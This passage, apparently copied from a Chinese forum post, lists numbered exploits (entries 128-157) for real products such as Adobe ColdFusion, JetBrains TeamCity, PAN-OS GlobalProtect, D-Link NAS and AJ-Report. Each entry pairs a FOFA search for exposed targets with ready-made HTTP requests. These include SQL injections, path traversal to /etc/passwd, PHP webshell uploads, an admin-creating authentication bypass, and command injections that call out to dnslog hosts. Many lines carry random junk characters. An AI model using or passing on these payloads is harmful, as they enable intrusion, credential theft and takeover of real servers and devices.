Accept-Language: zh-CN,zh;q=0.9
* k0 ?8 |+ h# p% v* N+ r; J- n: lConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
5 W. m; Y4 Z' X9 n  l2 P# oPurpose: prefetch
Sec-Purpose: prefetch;prerender

/ {4 w7 T' e' p5 u------WebKitFormBoundaryJGgV5l5ta05yAIe0
$ I, {% ^1 U' [2 r* n7 N& w# B9 M8 kContent-Disposition: form-data;name="SystemName"
( _9 R" B6 L2 s5 Q: T/ d3 D! u  z
BIM
6 J% Z( O. z9 x/ |' E------WebKitFormBoundaryJGgV5l5ta05yAIe0
8 ?2 }8 M* A! ?1 V8 x% aContent-Disposition: form-data;name="Params"
# J& I2 A2 R9 ]3 SContent-Type: text/plain

4 G3 D$ x: l2 j8 Q" B6 j4 R6 l<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
/ ~! H! n3 K% U6 H<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
( F+ f7 }/ d, A3 ~$ t]
! ]! m# R$ _# M! J>
! @; r& u( f4 V. t$ z! ]7 I<test>&t;</test>
: L  c; O* z7 a; O# @$ h6 d- Q------WebKitFormBoundaryJGgV5l5ta05yAIe0--
* g  K2 z; F7 m) C' `; U8 N% x


7 j2 r; ^; y8 Z- d  g128. Adobe ColdFusion 反序列化
8 N% N& q* c$ X  X4 u( H9 |. GCVE-2023-38203
6 A, S* f! k$ d: r! r4 {Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
" A& [( s% @- z! |5 M7 Q; GPAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
# L) K6 L. H6 X1 C4 n; Z+ G第一步，获取uuid
; t9 ~7 |  ^; G' x# ^3 VGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
7 u3 F2 G. w; G' L4 A/ z% [, a# J' [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
+ e0 x6 y  Z5 y# G4 N# f4 NConnection: close
( e* J. t5 x5 r/ h  p! l: b+ _
2 Z% b& N2 A! |* I" }
, b( a' G# r9 L& r第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
. M" @8 u" @. NAccept: */*
; U; q6 r+ c7 A: ]* gAccept-Encoding: gzip, deflate
4 Y7 ]4 u2 S" WConnection: close
/ J/ q' E0 d2 A7 M1 h& vuuid: 85f60018-a654-4410-a783-f81cbd5000b9
) m, l% \5 U1 r& z6 y$ R5 i

" C6 H) \. w8 \: g7 W+ j2 S) w% M6 B130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
, @4 b7 b; m1 @4 b4 I( l% `POST /admin/users/upavatar.html HTTP/1.1
+ S+ \1 g$ d1 p' kHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
& J9 [3 Y7 T5 G2 q; jUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
$ F- g$ K! q" V/ _. |Accept-Language: zh-CN,zh;q=0.9
7 W5 y7 A9 q  j  P6 P4 X  u! A' YCookie: user_name=1; user_id=3
7 D9 V. K- b2 C& ?" h, DConnection: close

: c$ {. n# _6 a6 ?$ d* h------WebKitFormBoundary3OCVBiwBVsNuB2kR
8 Y6 j1 _, I' z0 LContent-Disposition: form-data; name="file"; filename="1.php"
; |! J5 u2 v6 O3 |" l% r# `Content-Type: image/png

3 x' N- @* j& L$ T  [& t( Z$ T, G<?php phpinfo();@eval($_POST['sec']);?>
: U* }4 f. p7 K* z! `, c------WebKitFormBoundary3OCVBiwBVsNuB2kR--

) G) D* t1 G( {1 k1 B
/ u5 H: o9 M) r  J7 y" T131. Mini-Tmall <=20231017 SQL注入
" Z+ q% L) j# b3 J' r* u2 yFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
0 f6 Y4 `  d* M* K. jhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

! e. }5 n6 e4 m& I  R132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
  i; A% b4 h, ~FOFA：body="Log in to TeamCity"
) n$ ]! k* a# X# {: l/ r) pPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
6 I8 \/ g& f7 v+ z/ Z4 dContent-Type: application/json
Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
2 A- [; i' B: K* U
: I( t6 |6 T3 \* @2 O9 j) z
/ ~) j/ a1 t4 s+ H! LCVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp


  |* ?* ^8 n! SCVE-2024-27198-RCE.py
7 M) U( B' \) P
" A7 n6 z) _/ W' h- d133. H5 云商城 file.php 文件上传
4 o: x, h) j" g* z6 z2 r" w  TFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
0 H4 x8 h+ x7 o6 ^# Y) x8 D5 fHost: your-ip
0 N9 |+ l3 @% xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
" ?; l& H) n) u$ iContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
, v0 `9 e* G3 s9 z( L; @Content-Disposition: form-data; name="file"; filename="rce.php"
; N; `2 J! y3 n$ f, A$ N! zContent-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

8 D  Q9 z7 m+ T1 l3 @1 k
9 b$ @& \. B9 U  v: n# Z
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
0 [2 C" z: R7 g1 DNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
& O8 `+ y/ M1 {* OCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
; a2 [2 G: G2 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
/ P+ c$ B* K1 p$ DAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 s8 e) D. ~6 \6 hAccept-Encoding: gzip, deflate
- V) M2 }! k3 c. Q6 PSec-Fetch-Dest: empty
' J. c/ t- {* L7 ~: Q& Q/ rSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
# h0 m# u; I0 @% ]$ b/ d6 e; HConnection: close
Content-Type: application/x-www-form-urlencoded
: \7 [9 n/ [/ v4 b2 V" M0 OContent-Length: 263
9 e$ [$ f/ y! X: g; A
% Z0 ~! e/ B6 g8 fjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
' o( G. p( T0 K- C( }  p0 H
1 d8 m) ?( \& i5 B* _3 \4 Q
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
" b8 C8 {! _5 M. L+ [3 \1 b/ oNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
- @* ~" g7 a' K: _GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
1 u9 W8 _% k* h8 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+ J+ M0 Y5 w# w) Y8 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 {7 @' `( D, l! E* jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
, T2 L2 d$ ~- F/ g" x

8 X- ?( M% a. U/ V) H% O136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
3 O! E7 B8 @% h) J: R, n+ \Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
+ C$ g3 a- Q3 ~3 G6 [* L" RAccept: */*
* V; @, O; x" u0 K0 B5 d3 Z, q* GAccept-Language: en
Accept-Encoding: gzip

% q6 K$ \+ O; I1 s( _( ^
137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
1 I! g5 u+ h4 h3 hGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 a" g6 S+ S- eAccept-Encoding: gzip, deflate, br
) a" F9 G/ f' x* c! FConnection: close
* w7 O) H: r" y) l& qCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
# ~/ u' Q" G  |5 O

138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
* Y0 Y/ Y! W7 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
" }/ i) D+ q2 G* ?4 \2 ]: d

+ C& d+ O- W& v& r; a' H. }. r139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
, K6 n8 R% p: |, @9 c; g  IFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
4 Y: t) X5 q  |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
* t: H0 C& v1 Y" |6 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 \2 v) w0 g! z, YAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
/ i) D* h- @. V0 c4 s3 D7 N# O

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
0 n: `1 n# h# x) d( t$ DCVE-2024-2566
, Q) z; G% O8 m8 v, X0 kFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
5 e6 {4 C% E/ N/ E# @$ \GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
5 ^$ c4 t/ l5 W6 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& K( a7 B0 e/ x3 S" L5 fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
( m! [  ~6 J  f  |2 q* bCookie: authcode=h8g9
* Y% S: l  K; b. GUpgrade-Insecure-Requests: 1
& _& n* e$ f2 G4 I

6 i, Z( C. ~, l! B, j0 X  U5 n141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
0 q3 ]# ^  r9 `* p1 O3 }' HPOST /app/ext/ajax_users.php HTTP/1.1
# q* t/ A5 N, i9 ?% YHost: your-ip
5 K) [) o3 \- a( O% K8 M  P6 M- U' @User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
' X/ C/ q. @# Y, @8 L! j

, l: T" E) A6 d" xdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


* `2 x& T1 F3 ]142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
& E3 ~  \( }! L- e3 n& u# k  F# aFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
* |0 d( I( ~$ K; O! ~Host: x.x.x.x
/ `' S  t" M. X9 t1 z  a. b1 F8 hUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
7 K6 w. _$ F( L( a4 VAccept-Language: en
Accept-Encoding: gzip
/ Q) C+ k% ~% o) c; n' B) N
8 h0 m5 ^- ]# P3 L
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
# k1 [" J- A1 FCVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
7 y) U% }$ o! K) q7 [Host: 192.168.30.112:1005
& w+ Z! x. G' v. A/ C7 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip

$ F0 m1 k' J- G6 V2 g
146. MajorDoMo thumb.php 未授权远程代码执行
2 ?, o- ~  q, i- D9 I$ m, S3 ZCNVD-2024-02175
FOFA：app="MajordomoSL"
3 v$ y0 d2 J- _- PGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
; Q  t  D6 {" ^7 {Host: x.x.x.x
: Q  q/ p1 O  M5 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
; E$ N8 q  z; RConnection: close
) A4 t% k# E& K1 u3 D

% l6 |1 v8 m" E" f/ X147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
- {. G& Z: @6 gCVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
$ L: D3 z, ^, H( d4 p; Q0 \Host: 127.0.0.1:81
Cache-Control: max-age=0
! m5 u6 ^, o9 q- ZConnection: close


+ q$ y7 f- p1 v: U148. CrushFTP 认证绕过模板注入
/ S+ L) B) E2 {( A) v0 W( yCVE-2024-4040
, }4 w8 q8 C7 E4 }" cFOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
! |0 h: l7 ^6 XFOFA：title="AJ-Report"
! R0 |; M. C8 h  J4 w% T1 w7 `5 ^
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( Z% Q2 }) L$ _% t# c: X, vAccept-Encoding: gzip, deflate, br
* {1 i$ F9 I9 jAccept-Language: zh-CN,zh;q=0.9
2 O3 m3 I9 d- Z; LContent-Type: application/json;charset=UTF-8
/ D; i+ l- C8 u5 G/ J1 B% rConnection: close
9 N* l1 D. I' u) i8 n3 H8 V6 j4 O
& e" u0 l6 \5 ~{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
: |- N: C5 q% Z1 b/ n
3 a; |" e# N% t1 I; E+ O3 e150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
' p7 [+ Q4 c$ m2 `/ b9 DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 }, R7 l- [: i4 h- eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  I. R5 _& U7 H* I% z! sAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
' b: m. {5 n9 ]- R5 t  ^1 zConnection: close
3 G2 P' F5 ^$ T/ D- OContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
$ D7 _' g' I3 L8 a5 h0 f% L

151. AJ-Report 1.4.1 pageList sql注入
( ~1 X2 {% H+ a# e7 V) XFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
2 ~% i& J% q) m6 E' s5 MAccept-Encoding: gzip
7 {) |5 K, S+ R% `/ o
# o) L3 R8 I7 q
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
* Y7 r* y$ Z$ b5 @# D1 |4 ILoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
+ I: `# ]: b( C& C  C; PFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
+ J+ H9 r: C: m2 f  q+ K/ j* _GET /access/set?param=enableapi&value=1 HTTP/1.1
0 V% E6 q8 w: w) Q7 PHost: x.x.x.x
7 D. Y! O: W" x6 f, wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
. R) N/ ]% Y$ _Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
& E* k0 a: k5 f5 h9 W- w& o* @% ?Accept-Encoding: gzip

7 v0 F; z: W& {) l* C2 n! S- E
8 _( A7 x2 b7 B# g$ ]153. gradio任意文件读取
6 ?4 c& k7 B* R' ~CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
' B- M6 a3 y0 F4 k" NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
' J+ {: D7 a* K3 ^/ f/ \Connection: close
7 ^0 u7 G; v! x+ _' W' KContent-Length: 115
Content-Type: application/json
! C) z" }2 G: C# ]  O! j7 uAccept-Encoding: gzip

) U! F- u/ ^0 N$ _, W{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


5 `7 v! K3 }& K: d5 h5 _. p第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


4 C1 J3 a6 r& u+ M% \154. 天维尔消防救援作战调度平台 SQL注入
, M% B+ n% w0 \% i, f: ]# l* }CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
; Y, T" W9 I8 a4 D6 pPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
; _5 s) J0 q4 @" F& S6 u( wHost: x.x.x.x
( V6 Y  w; x( H1 y- V8 jContent-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
+ ~, o# D. M$ l* E# P; q. r6 P! l' nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
& O! X+ x# [% O/ ]' ]Accept-Encoding: gzip, deflate
0 G, f$ m3 I1 K! iAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
" D& n7 l9 _+ ^- i# G" ]% U
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
/ o  Y' }% c$ _

8 [" k6 w0 G  }" Z% W0 o. G155. 六零导航页 file.php 任意文件上传
, D7 M/ j, f+ s; o# |CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
& Q, K- o1 c# u- i9 EPOST /include/file.php HTTP/1.1
5 Z. U3 N9 o0 i4 G/ dHost: x.x.x.x
6 [; i' X) \: Q  R4 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
5 p1 I6 u0 u5 _1 I% RContent-Length: 232
( n" D2 ~7 a( q) B. f  ^Accept: application/json, text/javascript, */*; q=0.01
$ O! c' W, p( e6 r; C0 s# U! oAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
% _6 \' T' ?. j! F, X
! W& P* r% D' z2 t$ Q! P-----------------------------qttl7vemrsold314zg0f
  q2 f7 {8 e6 K* c, R0 YContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
7 m3 f  g. O2 i, b6 }1 g
<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

! I& q" U" g& F4 }+ i4 H
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
  f1 x( Y6 ]1 E& M9 R  Q; ~
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
- l4 {5 h. s& W; D% ]/ K: Z·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

  a( b6 O* ^. D
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
! `  Z2 {7 _+ \/ P  g- uHost: x.x.x.x
! x) R  F" J; CUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
9 _2 t- O4 h) E8 ]6 p  w3 OCookie: uid=1
0 q8 R2 ]/ i& N8 LAccept-Encoding: gzip


& G$ z$ r! A+ B0 M4 e( ]2 Y157. 美特CRM upload.jsp 任意文件上传
, n2 }% S4 {, d  WCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
2 O, E* i* D7 y4 N7 H  n# w# dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% m# E4 N" x1 `" m* C" iAccept-Encoding: gzip, deflate
$ t9 p) w9 A2 o# G9 `( B) q- t+ rAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
' A2 m$ @! i8 P' MConnection: close
8 Q0 W7 `( I! n5 |Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
  [# r1 j- M, K8 T" i/ K2 IUpgrade-Insecure-Requests: 1
- u3 n( G$ f6 D
------WebKitFormBoundary1imovELzPsfzp5dN
, H+ N$ l/ s: t1 E6 JContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
5 d$ [9 h) x, E( }
2 H) T* X# P. L8 C! Y4 M1 w; Lnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
2 ?/ u9 f2 p/ z( g7 \: Q9 tContent-Disposition: form-data; name="key"

6 ^9 T+ \$ ^% a7 R" ]& q* qnull
------WebKitFormBoundary1imovELzPsfzp5dN
; k* b3 U9 Y4 Y- CContent-Disposition: form-data; name="form"
$ k! b  r* j1 G" l0 l8 X; S
7 d6 T. z6 g+ y5 O) A* x/ ^" `null
) e) B5 _) j0 w- {: q- |------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

. S) h! g( E5 Ynull
" ?3 l- e7 d- c------WebKitFormBoundary1imovELzPsfzp5dN
6 Z+ q+ g7 x& M* G6 aContent-Disposition: form-data; name="filetitile"
; F! Z( t) a, `$ u( Z! ^, d
0 K: [* H2 a- u- g0 p; a+ Vnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
6 R1 u' ~# s/ \7 k# f7 D, {' }
null
------WebKitFormBoundary1imovELzPsfzp5dN--

; S+ A. k( O, y0 _4 o  X- |
